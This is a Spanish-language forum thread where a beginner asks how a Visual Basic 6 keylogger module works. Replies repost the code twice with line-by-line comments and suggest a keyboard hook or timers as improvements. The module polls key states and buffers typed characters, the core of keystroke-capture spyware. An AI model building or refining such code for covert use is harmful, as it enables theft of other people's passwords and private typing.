Hola, buenas, alguien se prestaría a ayudarme a entender como funciona este modulo :huh: :huh: :huh: gracias.
'Módulo estándar basKeyLogger.bas
'
Option Explicit
Public bLogEnabled As Boolean
Function GetActiveKey() As Integer
Static bStarted As Boolean
Dim i%
If Not bStarted Then
'Inicializa el estado de las teclas llamando a
'la función GetAsyncKeyState.
'
For i = 1 To 256
Call GetAsyncKeyState(i)
Next
bStarted = True
End If
For i = 1 To 256
'Obtiene la tecla pulsada actualmente.
'
If GetAsyncKeyState(i) Then
GetActiveKey = i
Exit For
End If
Next
End Function
Sub StopLog()
bLogEnabled = False
End Sub
Sub LogKeys()
Dim snTimer!
Dim iActiveKey%
Dim sChar$, sData$
bLogEnabled = True
Do While bLogEnabled
snTimer = Timer
Do While (Timer - snTimer) < 0.125
'Espera 125 milisegundos hasta
'la próxima pulsación.
Loop
iActiveKey = GetActiveKey
Select Case iActiveKey
Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
sChar = Chr$(iActiveKey)
sData = sData & sChar
Case vbKeyReturn
'Imprime lo que tiene en el buffer.
'
Debug.Print sData
sData = vbNullString
Case Else
'Verifica otras teclas.
End Select
Loop
faltan declaraciones.
Y un consejo ;)
mírate algo de esto ->http://www.google.com.ar/search?rlz=1C1GGLS_esAR305AR305&sourceid=chrome&ie=UTF-8&q=manual%2Bvisual%2Bbasic%2B6.0
'Módulo estándar basKeyLogger.bas
'
Option Explicit
Public bLogEnabled As Boolean
Function GetActiveKey() As Integer
Static bStarted As Boolean
Dim i%
If Not bStarted Then
'Inicializa el estado de las teclas llamando a
'la función GetAsyncKeyState.
'
For i = 1 To 256
Call GetAsyncKeyState(i)
Next
bStarted = True
End If
For i = 1 To 256
'Obtiene la tecla pulsada actualmente.
'
If GetAsyncKeyState(i) Then
GetActiveKey = i
Exit For
End If
Next
End Function
Sub StopLog()
bLogEnabled = False
End Sub
Sub LogKeys()
Dim snTimer!
Dim iActiveKey%
Dim sChar$, sData$
bLogEnabled = True
Do While bLogEnabled 'mientras que bLogEnabled sea = a true se repite de aka asta el loop de abajo de todo.
snTimer = Timer
Do While (Timer - snTimer) < 0.125 'esta claro
'Espera 125 milisegundos hasta
'la próxima pulsación.
Loop
iActiveKey = GetActiveKey
Select Case iActiveKey
Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ 'si la tecla precionada son de el nº 0 al 9, de la a ala z o tienen el el valor de 32 a 47,
sChar = Chr$(iActiveKey) ' lo carga en la variable bufer sData
sData = sData & sChar
Case vbKeyReturn
'Imprime lo que tiene en el buffer. < ahi lo dice
'
Debug.Print sData
sData = vbNullString
Case Else
'Verifica otras teclas.
End Select
Loop
crea un diagrama de flujo seguro te ayudara en tu libreta + un lapiz + ApiGuide seria genial.
Edito:
Falta declarar en el mismo modulo o de forma irrregular en otro modulo el Api GetAsyncKeyState (con mi frase "de forma irregular" me refierro a que uses otro modulo y hay declares el api o en un formulario pero igual).
Debes llamar al proceso LogKeys mmm 2 Do while seguro usa el procesador hasta fermentarlo ¬¬" CODIGO no recomendado xS usa un Hook es mejor o timers (sustituye y adapta el codigo quitando el Do While)
1Consejo usa DoEvents entre un Do While o Do y Loop
do while boolean
'Eventos
doEvents
loop
Por otra parte No corres si aun Tropiesas mejor gatea despues camina y por ultimo corre no saltes pasos en tu Aprendisaje... Todo lo medio/intermedio y Avanzado requiere conocimientos generales matematicas y por supuesto los Básico.
P.D.: Este modulo esta Feo xS
Dulces Lunas
Y un consejo ;)
mírate algo de esto ->http://www.google.com.ar/search?rlz=1C1GGLS_esAR305AR305&sourceid=chrome&ie=UTF-8&q=manual%2Bvisual%2Bbasic%2B6.0
esa fue la mejor respuesta...